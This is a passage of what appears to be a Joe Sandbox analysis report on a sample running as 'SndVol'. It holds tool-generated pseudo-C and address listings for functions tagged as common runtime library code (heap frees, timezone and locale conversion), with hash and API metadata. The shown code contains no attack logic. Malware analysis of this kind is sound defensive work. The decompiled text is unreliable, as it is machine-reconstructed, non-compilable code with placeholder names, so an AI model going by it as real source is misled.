																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					E0043BC69();
																					asm("int3");
																					_t293 =  *0x472518; // 0x0
																					return _t293;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t452 + _t432)) = _v720;
																					if(_v280 != 0x43) {
																						L102:
																						_t296 = E00444520(_t364, _t391, _t432,  &_v708);
																						_t393 = _v712;
																						 *(_t432 + 0xa0 + _t364 * 4) = _t296;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L102;
																						} else {
																							_t393 = _v712;
																							 *(_t432 + 0xa0 + _t364 * 4) = _t393;
																						}
																					}
																					__eflags = _t364 - 2;
																					if(_t364 != 2) {
																						__eflags = _t364 - 1;
																						if(_t364 != 1) {
																							__eflags = _t364 - 5;
																							if(_t364 == 5) {
																								 *((intOrPtr*)(_t432 + 0x14)) = _v716;
																							}
																						} else {
																							 *((intOrPtr*)(_t432 + 0x10)) = _v716;
																						}
																					} else {
																						_t457 = _v736;
																						_t425 = _t393;
																						_t403 = _t457;
																						 *(_t432 + 8) = _v716;
																						_v720 = _t457;
																						_v728 = _t457[8];
																						_v716 = _t457[9];
																						while(1) {
																							_t154 = _t432 + 8; // 0x8b56ff8b
																							__eflags =  *_t154 -  *_t403;
																							if( *_t154 ==  *_t403) {
																								break;
																							}
																							_t458 = _v720;
																							_t425 = _t425 + 1;
																							_t328 =  *_t403;
																							 *_t458 = _v728;
																							_v716 = _t403[1];
																							_t403 = _t458 + 8;
																							 *((intOrPtr*)(_t458 + 4)) = _v716;
																							_t364 = _v752;
																							_t457 = _v736;
																							_v728 = _t328;
																							_v720 = _t403;
																							__eflags = _t425 - 5;
																							if(_t425 < 5) {
																								continue;
																							} else {
																							}
																							L110:
																							__eflags = _t425 - 5;
																							if(__eflags == 0) {
																								_t178 = _t432 + 8; // 0x8b56ff8b
																								_t319 = E0045107D(_t364, _t425, _t432, _t457, __eflags, _v712, 1, 0x45d518, 0x7f,  &_v536,  *_t178, 1);
																								_t479 = _t479 + 0x1c;
																								__eflags = _t319;
																								_t320 = _v712;
																								if(_t319 == 0) {
																									_t457[1] = _t320;
																								} else {
																									do {
																										 *(_t465 + _t320 * 2 - 0x20c) =  *(_t465 + _t320 * 2 - 0x20c) & 0x000001ff;
																										_t320 = _t320 + 1;
																										__eflags = _t320 - 0x7f;
																									} while (_t320 < 0x7f);
																									_t323 = E00436F3A( &_v536,  *0x471170, 0xfe);
																									_t479 = _t479 + 0xc;
																									__eflags = _t323;
																									_t457[1] = 0 | _t323 == 0x00000000;
																								}
																								_t193 = _t432 + 8; // 0x8b56ff8b
																								 *_t457 =  *_t193;
																							}
																							 *(_t432 + 0x18) = _t457[1];
																							goto L121;
																						}
																						__eflags = _t425;
																						if(_t425 != 0) {
																							 *_t457 =  *(_t457 + _t425 * 8);
																							_t457[1] =  *(_t457 + 4 + _t425 * 8);
																							 *(_t457 + _t425 * 8) = _v728;
																							 *(_t457 + 4 + _t425 * 8) = _v716;
																						}
																						goto L110;
																					}
																					L121:
																					_t297 = _t364 * 0xc;
																					_t200 = _t297 + 0x45d458; // 0x41034e
																					 *0x4594fc(_t432);
																					_t299 =  *((intOrPtr*)( *_t200))();
																					_t396 = _v732;
																					__eflags = _t299;
																					if(_t299 == 0) {
																						__eflags = _t396 - 0x4712a8;
																						if(_t396 != 0x4712a8) {
																							_t456 = _t364 + _t364;
																							__eflags = _t456;
																							asm("lock xadd [eax], ecx");
																							if(_t456 != 0) {
																								goto L126;
																							} else {
																								_t218 = _t456 * 8; // 0x30ff068b
																								E00446652( *((intOrPtr*)(_t432 + _t218 + 0x28)));
																								_t221 = _t456 * 8; // 0x30ff0c46
																								E00446652( *((intOrPtr*)(_t432 + _t221 + 0x24)));
																								_t224 = _t364 * 4; // 0xcf25
																								E00446652( *((intOrPtr*)(_t432 + _t224 + 0xa0)));
																								_t399 = _v712;
																								 *((intOrPtr*)(_v724 + _t432)) = _t399;
																								 *(_t432 + 0xa0 + _t364 * 4) = _t399;
																							}
																						}
																						_t397 = _v740;
																						 *_t397 = 1;
																						 *((intOrPtr*)(_t432 + 0x28 + (_t364 + _t364) * 8)) = _t397;
																					} else {
																						 *(_v724 + _t432) = _t396;
																						_t205 = _t364 * 4; // 0xcf25
																						E00446652( *((intOrPtr*)(_t432 + _t205 + 0xa0)));
																						 *(_t432 + 0xa0 + _t364 * 4) = _v744;
																						E00446652(_v740);
																						 *(_t432 + 8) = _v748;
																						goto L84;
																					}
																					goto L85;
																				}
																			}
																		} else {
																			goto L85;
																		}
																		goto L130;
																	}
																	asm("sbb eax, eax");
																	_t282 = _t281 | 0x00000001;
																	__eflags = _t282;
																	goto L93;
																} else {
																	L84:
																	__eflags = 0;
																	L85:
																	__eflags = _v16 ^ _t465;
																	return E00434F3B(_v16 ^ _t465);
																}
															} else {
																_t330 = _t447 + _t447;
																__eflags = _t330 - 0x106;
																if(_t330 >= 0x106) {
																	E0043506F();
																	goto L82;
																} else {
																	 *((short*)(_t463 + _t330 - 0x10c)) = 0;
																	_t332 =  &_v276;
																	_push(_t332);
																	_push(_v460);
																	_push(_t428);
																	L83();
																	_t472 = _t475 + 0xc;
																	__eflags = _t332;
																	_t268 = _v452;
																	if(_t332 != 0) {
																		_t268 = _t268 + 1;
																		_v452 = _t268;
																	}
																	L54:
																	_t444 = _t359 + _t447 * 2;
																	_t370 = 0;
																	__eflags =  *_t444;
																	if( *_t444 == 0) {
																		L56:
																		__eflags = _t268;
																		L77:
																		if(__eflags != 0) {
																			goto L79;
																		} else {
																		}
																		goto L80;
																	} else {
																		_t444 = _t444 + 2;
																		__eflags =  *_t444;
																		if( *_t444 != 0) {
																			continue;
																		} else {
																			goto L56;
																		}
																	}
																}
															}
														}
													} else {
														_t333 = 0x3b;
														__eflags =  *_t359 - _t333;
														if( *_t359 != _t333) {
															break;
														} else {
															goto L48;
														}
													}
												}
											}
											goto L130;
										}
										goto L80;
									}
								}
							}
						}
					} else {
						__eflags = _t444;
						if(_t444 != 0) {
							_push(_t444);
							_push(_t249);
							_push(_t428);
							L83();
						}
						L80:
						__eflags = _v12 ^ _t463;
						return E00434F3B(_v12 ^ _t463);
					}
				}
				L130:
			}






































































































































                                    0x00444c4b
                                    0x00444c4e
                                    0x00444c50
                                    0x00444c53
                                    0x00444c54
                                    0x00444c5d
                                    0x00444c65
                                    0x00444c67
                                    0x00444c69
                                    0x00444c6c
                                    0x00444d85
                                    0x00444d8a
                                    0x00444c72
                                    0x00444c72
                                    0x00444c73
                                    0x00444c73
                                    0x00444c76
                                    0x00444c79
                                    0x00444c7b
                                    0x00444c7e
                                    0x00444c7e
                                    0x00444c81
                                    0x00444c83
                                    0x00444c86
                                    0x00444c8b
                                    0x00444c99
                                    0x00444ca3
                                    0x00444ca6
                                    0x00444ca9
                                    0x00444ca9
                                    0x00444cb4
                                    0x00444cb9
                                    0x00444cbe
                                    0x00000000
                                    0x00444cc4
                                    0x00444cc7
                                    0x00444cc7
                                    0x00444cca
                                    0x00444ccc
                                    0x00444ccf
                                    0x00444ccf
                                    0x00444ccf
                                    0x00444cd1
                                    0x00444cd1
                                    0x00444cd1
                                    0x00444cd7
                                    0x00000000
                                    0x00000000
                                    0x00444cdc
                                    0x00444cf3
                                    0x00444cf3
                                    0x00444cde
                                    0x00444cde
                                    0x00444ce6
                                    0x00000000
                                    0x00444ce8
                                    0x00444ce8
                                    0x00444ceb
                                    0x00444cf1
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00444cf1
                                    0x00444ce6
                                    0x00444cfc
                                    0x00444d01
                                    0x00444d03
                                    0x00444d08
                                    0x00444d0b
                                    0x00444d0e
                                    0x00444d11
                                    0x00444d14
                                    0x00444d16
                                    0x00444d1b
                                    0x00444d25
                                    0x00444d2d
                                    0x00444d35
                                    0x00000000
                                    0x00444d3b
                                    0x00444d3f
                                    0x00444d8c
                                    0x00444d92
                                    0x00444d95
                                    0x00444d98
                                    0x00444d9a
                                    0x00444d9e
                                    0x00444da2
                                    0x00444da4
                                    0x00444da7
                                    0x00444dac
                                    0x00444da2
                                    0x00444dad
                                    0x00444db0
                                    0x00444db2
                                    0x00444db4
                                    0x00444db8
                                    0x00444db9
                                    0x00444dbb
                                    0x00444dbe
                                    0x00444dc3
                                    0x00444db9
                                    0x00444dc6
                                    0x00444dc9
                                    0x00444dcc
                                    0x00444dcf
                                    0x00444dd2
                                    0x00444dd2
                                    0x00444d41
                                    0x00444d41
                                    0x00444d44
                                    0x00444d47
                                    0x00444d49
                                    0x00444d4d
                                    0x00444d51
                                    0x00444d53
                                    0x00444d56
                                    0x00444d5b
                                    0x00444d51
                                    0x00444d5c
                                    0x00444d61
                                    0x00444d63
                                    0x00444d68
                                    0x00444d6a
                                    0x00444d6d
                                    0x00444d72
                                    0x00444d68
                                    0x00444d73
                                    0x00444d77
                                    0x00444d77
                                    0x00444d7a
                                    0x00444d7e
                                    0x00444d81
                                    0x00444d81
                                    0x00000000
                                    0x00444d84
                                    0x00000000
                                    0x00444d35
                                    0x00444cf7
                                    0x00444cf9
                                    0x00444cf9
                                    0x00000000
                                    0x00444cf9
                                    0x00444dd9
                                    0x00444dda
                                    0x00444ddb
                                    0x00444ddc
                                    0x00444ddd
                                    0x00444dde
                                    0x00444de3
                                    0x00444de6
                                    0x00444de7
                                    0x00444de9
                                    0x00444def
                                    0x00444df6
                                    0x00444df9
                                    0x00444dfc
                                    0x00444dfd
                                    0x00444dfe
                                    0x00444e01
                                    0x00444e02
                                    0x00444e05
                                    0x00444e0b
                                    0x00444e0d
                                    0x00444e32
                                    0x00444e3c
                                    0x00444e42
                                    0x00444e44
                                    0x00444e4a
                                    0x00444e4c
                                    0x0044509f
                                    0x004450a0
                                    0x00000000
                                    0x00444e52
                                    0x00444e52
                                    0x00444e56
                                    0x00444fbd
                                    0x00444fbd
                                    0x00444fd4
                                    0x00444fd9
                                    0x00444fdc
                                    0x00444fde
                                    0x00444fe4
                                    0x00444fe4
                                    0x00444fe6
                                    0x00444fe6
                                    0x00444fe9
                                    0x00444feb
                                    0x00444ff1
                                    0x00444ff1
                                    0x00444ff3
                                    0x0044507a
                                    0x0044507a
                                    0x00444ff9
                                    0x00444ff9
                                    0x00444ffb
                                    0x00445001
                                    0x00445004
                                    0x00445007
                                    0x0044500d
                                    0x00000000
                                    0x00000000
                                    0x0044500f
                                    0x00445013
                                    0x0044503c
                                    0x0044503c
                                    0x0044503e
                                    0x00445015
                                    0x00445015
                                    0x00445019
                                    0x0044501d
                                    0x00445024
                                    0x0044502a
                                    0x00000000
                                    0x0044502c
                                    0x0044502c
                                    0x0044502f
                                    0x00445032
                                    0x0044503a
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044503a
                                    0x0044502a
                                    0x00445049
                                    0x00445049
                                    0x0044504b
                                    0x00445079
                                    0x00445079
                                    0x00000000
                                    0x0044504d
                                    0x0044504d
                                    0x00445053
                                    0x00445054
                                    0x00445055
                                    0x00445056
                                    0x0044505b
                                    0x00445061
                                    0x00445064
                                    0x00445066
                                    0x0044506d
                                    0x0044506f
                                    0x00445071
                                    0x00445068
                                    0x00445068
                                    0x00445069
                                    0x00000000
                                    0x00445069
                                    0x00445066
                                    0x00000000
                                    0x0044504b
                                    0x00445042
                                    0x00445044
                                    0x00445047
                                    0x00445047
                                    0x00000000
                                    0x00445047
                                    0x00445080
                                    0x00445080
                                    0x00445081
                                    0x00445084
                                    0x0044508a
                                    0x0044508a
                                    0x00445093
                                    0x00445095
                                    0x00000000
                                    0x00445097
                                    0x00445097
                                    0x00000000
                                    0x00445097
                                    0x00445095
                                    0x00000000
                                    0x00444e5c
                                    0x00444e5c
                                    0x00444e61
                                    0x00000000
                                    0x00444e67
                                    0x00444e67
                                    0x00444e6c
                                    0x00000000
                                    0x00444e72
                                    0x00444e72
                                    0x00444e78
                                    0x00444e7d
                                    0x00444e7f
                                    0x00444e86
                                    0x00444e87
                                    0x00444e89
                                    0x00000000
                                    0x00000000
                                    0x00444e8f
                                    0x00444e8f
                                    0x00444e93
                                    0x00444e99
                                    0x00000000
                                    0x00444e9f
                                    0x00444ea1
                                    0x00444ea2
                                    0x00444ea5
                                    0x00000000
                                    0x00444eab
                                    0x00444eab
                                    0x00444eb1
                                    0x00444eb6
                                    0x00444ec0
                                    0x00444ec4
                                    0x00444ec9
                                    0x00444ecc
                                    0x00444ece
                                    0x00000000
                                    0x00444ed0
                                    0x00444ed0
                                    0x00444ed2
                                    0x00444ed5
                                    0x00444ed5
                                    0x00444ed8
                                    0x00444edb
                                    0x00444edb
                                    0x00444ee6
                                    0x00444ee8
                                    0x00444eea
                                    0x00000000
                                    0x00000000
                                    0x00444eea
                                    0x00000000
                                    0x00444eec
                                    0x00444eec
                                    0x00444ef2
                                    0x00444ef5
                                    0x00444ef5
                                    0x00444f03
                                    0x00444f0c
                                    0x00444f11
                                    0x00444f17
                                    0x00444f1a
                                    0x00444f1b
                                    0x00444f1d
                                    0x00444f2b
                                    0x00444f2b
                                    0x00444f32
                                    0x00444f93
                                    0x00000000
                                    0x00444f34
                                    0x00444f34
                                    0x00444f42
                                    0x00444f47
                                    0x00444f4a
                                    0x00444f4c
                                    0x004450bc
                                    0x004450be
                                    0x004450bf
                                    0x004450c0
                                    0x004450c1
                                    0x004450c2
                                    0x004450c3
                                    0x004450c8
                                    0x004450cb
                                    0x004450cc
                                    0x004450d4
                                    0x004450db
                                    0x004450de
                                    0x004450df
                                    0x004450e2
                                    0x004450e6
                                    0x004450e7
                                    0x004450ea
                                    0x004450fa
                                    0x00445106
                                    0x0044511d
                                    0x00445122
                                    0x00445125
                                    0x00445127
                                    0x0044513c
                                    0x0044513f
                                    0x0044513f
                                    0x00445142
                                    0x00445148
                                    0x00445151
                                    0x00445153
                                    0x00445156
                                    0x0044515d
                                    0x00445160
                                    0x00445166
                                    0x00000000
                                    0x00000000
                                    0x00445168
                                    0x0044516c
                                    0x00445195
                                    0x00445195
                                    0x0044516e
                                    0x0044516e
                                    0x00445172
                                    0x00445176
                                    0x0044517d
                                    0x00445183
                                    0x00000000
                                    0x00445185
                                    0x00445185
                                    0x00445188
                                    0x0044518b
                                    0x00445193
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445193
                                    0x00445183
                                    0x004451a2
                                    0x004451a2
                                    0x004451a4
                                    0x004451aa
                                    0x004451b0
                                    0x004451b3
                                    0x004451b3
                                    0x004451b6
                                    0x004451b9
                                    0x004451b9
                                    0x004451c9
                                    0x004451d7
                                    0x004451dc
                                    0x004451e3
                                    0x004451e5
                                    0x00000000
                                    0x004451eb
                                    0x004451f1
                                    0x004451f7
                                    0x004451fe
                                    0x00445204
                                    0x00445207
                                    0x0044520d
                                    0x0044521a
                                    0x00445221
                                    0x00445226
                                    0x00445229
                                    0x0044522b
                                    0x00445484
                                    0x0044548a
                                    0x0044548b
                                    0x0044548c
                                    0x0044548d
                                    0x0044548e
                                    0x0044548f
                                    0x00445494
                                    0x00445495
                                    0x0044549a
                                    0x00445231
                                    0x00445231
                                    0x0044523f
                                    0x00445242
                                    0x0044525d
                                    0x00445264
                                    0x0044526a
                                    0x00445270
                                    0x00445244
                                    0x00445244
                                    0x0044524c
                                    0x00000000
                                    0x0044524e
                                    0x0044524e
                                    0x00445254
                                    0x00445254
                                    0x0044524c
                                    0x00445277
                                    0x0044527a
                                    0x00445397
                                    0x0044539a
                                    0x004453a7
                                    0x004453aa
                                    0x004453b2
                                    0x004453b2
                                    0x0044539c
                                    0x004453a2
                                    0x004453a2
                                    0x00445280
                                    0x00445280
                                    0x00445286
                                    0x0044528e
                                    0x00445290
                                    0x00445293
                                    0x0044529c
                                    0x004452a5
                                    0x004452ab
                                    0x004452ab
                                    0x004452ae
                                    0x004452b0
                                    0x00000000
                                    0x00000000
                                    0x004452b2
                                    0x004452b8
                                    0x004452b9
                                    0x004452c4
                                    0x004452cc
                                    0x004452d4
                                    0x004452d7
                                    0x004452da
                                    0x004452e0
                                    0x004452e6
                                    0x004452ec
                                    0x004452f2
                                    0x004452f5
                                    0x00000000
                                    0x00000000
                                    0x004452f7
                                    0x0044531c
                                    0x0044531c
                                    0x0044531f
                                    0x00445323
                                    0x0044533c
                                    0x00445341
                                    0x00445344
                                    0x00445346
                                    0x0044534c
                                    0x00445387
                                    0x0044534e
                                    0x0044534e
                                    0x00445353
                                    0x0044535b
                                    0x0044535c
                                    0x0044535c
                                    0x00445373
                                    0x0044537a
                                    0x0044537d
                                    0x00445382
                                    0x00445382
                                    0x0044538a
                                    0x0044538d
                                    0x0044538d
                                    0x00445392
                                    0x00000000
                                    0x00445392
                                    0x004452f9
                                    0x004452fb
                                    0x00445300
                                    0x00445306
                                    0x0044530f
                                    0x00445318
                                    0x00445318
                                    0x00000000
                                    0x004452fb
                                    0x004453b5
                                    0x004453b5
                                    0x004453b9
                                    0x004453c1
                                    0x004453c7
                                    0x004453ca
                                    0x004453d0
                                    0x004453d2
                                    0x00445412
                                    0x00445418
                                    0x0044541f
                                    0x0044541f
                                    0x00445425
                                    0x00445429
                                    0x00000000
                                    0x0044542b
                                    0x0044542b
                                    0x0044542f
                                    0x00445434
                                    0x00445438
                                    0x0044543d
                                    0x00445444
                                    0x00445452
                                    0x00445458
                                    0x0044545b
                                    0x0044545b
                                    0x00445429
                                    0x0044546a
                                    0x00445472
                                    0x0044547b
                                    0x004453d4
                                    0x004453da
                                    0x004453dd
                                    0x004453e4
                                    0x004453f6
                                    0x004453fd
                                    0x0044540a
                                    0x00000000
                                    0x0044540a
                                    0x00000000
                                    0x004453d2
                                    0x0044522b
                                    0x004451a6
                                    0x00000000
                                    0x004451a6
                                    0x00000000
                                    0x004451a4
                                    0x0044519d
                                    0x0044519f
                                    0x0044519f
                                    0x00000000
                                    0x00445129
                                    0x00445129
                                    0x00445129
                                    0x0044512b
                                    0x00445130
                                    0x0044513b
                                    0x0044513b
                                    0x00444f52
                                    0x00444f52
                                    0x00444f55
                                    0x00444f5a
                                    0x004450b7
                                    0x00000000
                                    0x00444f60
                                    0x00444f62
                                    0x00444f6a
                                    0x00444f70
                                    0x00444f71
                                    0x00444f77
                                    0x00444f78
                                    0x00444f7d
                                    0x00444f80
                                    0x00444f82
                                    0x00444f88
                                    0x00444f8a
                                    0x00444f8b
                                    0x00444f8b
                                    0x00444f99
                                    0x00444f99
                                    0x00444f9c
                                    0x00444f9e
                                    0x00444fa1
                                    0x00444faf
                                    0x00444faf
                                    0x00445099
                                    0x00445099
                                    0x00000000
                                    0x0044509b
                                    0x0044509b
                                    0x00000000
                                    0x00444fa3
                                    0x00444fa3
                                    0x00444fa6
                                    0x00444fa9
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00444fa9
                                    0x00444fa1
                                    0x00444f5a
                                    0x00444f4c
                                    0x00444f1f
                                    0x00444f21
                                    0x00444f22
                                    0x00444f25
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00444f25
                                    0x00444f1d
                                    0x00444ea5
                                    0x00000000
                                    0x00444e99
                                    0x00000000
                                    0x00444fb6
                                    0x00444e6c
                                    0x00444e61
                                    0x00444e56
                                    0x00444e0f
                                    0x00444e0f
                                    0x00444e11
                                    0x00444e13
                                    0x00444e14
                                    0x00444e15
                                    0x00444e16
                                    0x00444e1b
                                    0x004450a6
                                    0x004450ab
                                    0x004450b6
                                    0x004450b6
                                    0x00444e0d
                                    0x00000000

                                    APIs
                                      • Part of subcall function 00446087: HeapAlloc.KERNEL32(00000000,004351EF,?,?,00438797,?,?,00000000,?,?,0040DDB0,004351EF,?,?,?,?), ref: 004460B9
                                    • _free.LIBCMT ref: 00444D56
                                    • _free.LIBCMT ref: 00444D6D
                                    • _free.LIBCMT ref: 00444D8C
                                    • _free.LIBCMT ref: 00444DA7
                                    • _free.LIBCMT ref: 00444DBE
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$AllocHeap
                                    • String ID:
                                    • API String ID: 1835388192-0
                                    • Opcode ID: 8bfbc212e4dc99d16b5a17502b75c1b936a080bcf327fb9758477ad019b8ef1f
                                    • Instruction ID: 0cd73a82073067e10dfdcdae27a701236791d2df041fb2cb966d449b444f3b37
                                    • Opcode Fuzzy Hash: 8bfbc212e4dc99d16b5a17502b75c1b936a080bcf327fb9758477ad019b8ef1f
                                    • Instruction Fuzzy Hash: 4651E371A00604AFEB20DF29C881B6A73F5FF99724B15456FE809D7290E739E901CB88
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00449235 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 69%
                                    			E00449235(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				int _v8;
				int _v12;
				int _v16;
				int _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed int _t50;
				void* _t54;
				void* _t56;
				signed int* _t61;
				intOrPtr _t71;
				void* _t78;
				signed int _t85;
				signed int _t87;
				signed int _t89;
				int _t93;
				char** _t96;
				signed int _t100;
				signed int _t101;
				signed int _t106;
				signed int _t107;
				intOrPtr _t116;
				intOrPtr _t118;

				_t88 = __edi;
				_t96 = E00448C9F();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = E00448CFD( &_v8);
				_pop(_t78);
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E0043BC69();
					asm("int3");
					_t106 = _t107;
					_t38 =  *0x47100c; // 0xbb2d687
					_v56 = _t38 ^ _t106;
					 *0x471344 =  *0x471344 | 0xffffffff;
					 *0x471338 =  *0x471338 | 0xffffffff;
					_push(0);
					_push(_t96);
					_t77 = "TZ";
					_t89 = 0;
					 *0x472758 = 0;
					_t42 = E0043C035(__eflags,  &_v316,  &_v312, 0x100, "TZ");
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t101 = E00446087(_t78, _v272);
							__eflags = _t101;
							if(__eflags != 0) {
								_t50 = E0043C035(__eflags,  &_v276, _t101, _v272, _t77);
								__eflags = _t50;
								if(_t50 == 0) {
									E00446652(0);
									_t89 = _t101;
								} else {
									_push(_t101);
									goto L25;
								}
							} else {
								_push(0);
								L25:
								E00446652();
							}
						}
					} else {
						_t89 =  &_v268;
					}
					asm("sbb esi, esi");
					_t100 =  ~(_t89 -  &_v268) & _t89;
					__eflags = _t89;
					if(__eflags == 0) {
						L33:
						E00449235(_t77, _t89, _t100, __eflags);
					} else {
						__eflags =  *_t89;
						if(__eflags == 0) {
							goto L33;
						} else {
							_push(_t89);
							E00449060(_t77, _t89, _t100, __eflags);
						}
					}
					E00446652(_t100);
					__eflags = _v12 ^ _t106;
					return E00434F3B(_v12 ^ _t106);
				} else {
					_t54 = E00448CA5( &_v12);
					_pop(_t78);
					if(_t54 != 0) {
						goto L19;
					} else {
						_t56 = E00448CD1( &_v16);
						_pop(_t78);
						if(_t56 != 0) {
							goto L19;
						} else {
							E00446652( *0x472750);
							 *0x472750 = 0;
							 *_t107 = 0x472760;
							if(GetTimeZoneInformation(??) != 0xffffffff) {
								_t85 =  *0x472760 * 0x3c;
								_t87 =  *0x4727b4; // 0x0
								_push(__edi);
								 *0x472758 = 1;
								_v8 = _t85;
								_t116 =  *0x4727a6; // 0x0
								if(_t116 != 0) {
									_v8 = _t85 + _t87 * 0x3c;
								}
								_t118 =  *0x4727fa; // 0x0
								if(_t118 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t71 =  *0x472808; // 0x0
									if(_t71 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t71 - _t87) * 0x3c;
									}
								}
								_t93 = E00445C56(0, _t87);
								if(WideCharToMultiByte(_t93, 0, 0x472764, 0xffffffff,  *_t96, 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *( *_t96) = 0;
								} else {
									( *_t96)[0x3f] = 0;
								}
								if(WideCharToMultiByte(_t93, 0, 0x4727b8, 0xffffffff, _t96[1], 0x3f, 0,  &_v20) == 0 || _v20 != 0) {
									 *(_t96[1]) = 0;
								} else {
									_t96[1][0x3f] = 0;
								}
							}
							 *(E00448C99()) = _v8;
							 *(E00448C8D()) = _v12;
							_t61 = E00448C93();
							 *_t61 = _v16;
							return _t61;
						}
					}
				}
			}


































                                    0x00449235
                                    0x00449244
                                    0x0044924b
                                    0x0044924f
                                    0x00449252
                                    0x00449255
                                    0x0044925a
                                    0x0044925d
                                    0x00449385
                                    0x00449385
                                    0x00449386
                                    0x00449387
                                    0x00449388
                                    0x00449389
                                    0x0044938a
                                    0x0044938f
                                    0x00449393
                                    0x0044939b
                                    0x004493a2
                                    0x004493a5
                                    0x004493b2
                                    0x004493b9
                                    0x004493ba
                                    0x004493bc
                                    0x004493c1
                                    0x004493d0
                                    0x004493d7
                                    0x004493df
                                    0x004493e1
                                    0x004493eb
                                    0x004493ee
                                    0x004493fb
                                    0x004493fe
                                    0x00449400
                                    0x00449419
                                    0x00449421
                                    0x00449423
                                    0x00449429
                                    0x0044942e
                                    0x00449425
                                    0x00449425
                                    0x00000000
                                    0x00449425
                                    0x00449402
                                    0x00449402
                                    0x00449403
                                    0x00449403
                                    0x00449403
                                    0x00449430
                                    0x004493e3
                                    0x004493e3
                                    0x004493e3
                                    0x0044943d
                                    0x0044943f
                                    0x00449441
                                    0x00449443
                                    0x00449453
                                    0x00449453
                                    0x00449445
                                    0x00449445
                                    0x00449448
                                    0x00000000
                                    0x0044944a
                                    0x0044944a
                                    0x0044944b
                                    0x00449450
                                    0x00449448
                                    0x00449459
                                    0x00449464
                                    0x0044946f
                                    0x00449263
                                    0x00449267
                                    0x0044926c
                                    0x0044926f
                                    0x00000000
                                    0x00449275
                                    0x00449279
                                    0x0044927e
                                    0x00449281
                                    0x00000000
                                    0x00449287
                                    0x0044928d
                                    0x00449292
                                    0x00449298
                                    0x004492a8
                                    0x004492ae
                                    0x004492b5
                                    0x004492bb
                                    0x004492bf
                                    0x004492c5
                                    0x004492c8
                                    0x004492cf
                                    0x004492d6
                                    0x004492d6
                                    0x004492d9
                                    0x004492e0
                                    0x004492f8
                                    0x004492f8
                                    0x004492fb
                                    0x004492e2
                                    0x004492e2
                                    0x004492e9
                                    0x00000000
                                    0x004492eb
                                    0x004492ed
                                    0x004492f3
                                    0x004492f3
                                    0x004492e9
                                    0x00449303
                                    0x0044931f
                                    0x0044932f
                                    0x00449326
                                    0x00449328
                                    0x00449328
                                    0x0044934d
                                    0x0044935f
                                    0x00449354
                                    0x00449357
                                    0x00449357
                                    0x0044934d
                                    0x00449369
                                    0x00449373
                                    0x00449378
                                    0x0044937d
                                    0x00449384
                                    0x00449384
                                    0x00449281
                                    0x0044926f

                                    APIs
                                    • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0045F234), ref: 0044929F
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,00472764,000000FF,00000000,0000003F,00000000,?,?), ref: 00449317
                                    • WideCharToMultiByte.KERNEL32(00000000,00000000,004727B8,000000FF,?,0000003F,00000000,?), ref: 00449344
                                    • _free.LIBCMT ref: 0044928D
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00449459
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
                                    • String ID:
                                    • API String ID: 1286116820-0
                                    • Opcode ID: e861f10619cee8555c14399ef2ad6aeaf2311a34d1c0502880df977b07f1d2e5
                                    • Instruction ID: d95ca2661433707e8099516d623c764993a170ed84442745c08a383a6cd951bd
                                    • Opcode Fuzzy Hash: e861f10619cee8555c14399ef2ad6aeaf2311a34d1c0502880df977b07f1d2e5
                                    • Instruction Fuzzy Hash: 10510B71900209EBEB14EF69DD819AFB7BCEF45324F1002AFE91493291EB788D419B58
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040F84B Relevance: 7.6, APIs: 5, Instructions: 132processCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 96%
                                    			E0040F84B(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				char _v540;
				char _v568;
				void* _v572;
				void* _v584;
				char _v604;
				void* _v608;
				char _v628;
				void* _v632;
				char _v652;
				void* _v656;
				char _v676;
				void* _v680;
				char _v700;
				void* _v704;
				char _v724;
				void* _v728;
				char _v748;
				void* _v752;
				char _v772;
				void* _v776;
				char _v796;
				void* _v800;
				char _v820;
				void* _v824;
				char _v844;
				void* _v848;
				char _v868;
				void* _v872;
				char _v892;
				void* _v896;
				char _v912;
				char _v916;
				void* _v920;
				void* __edi;
				void* __esi;
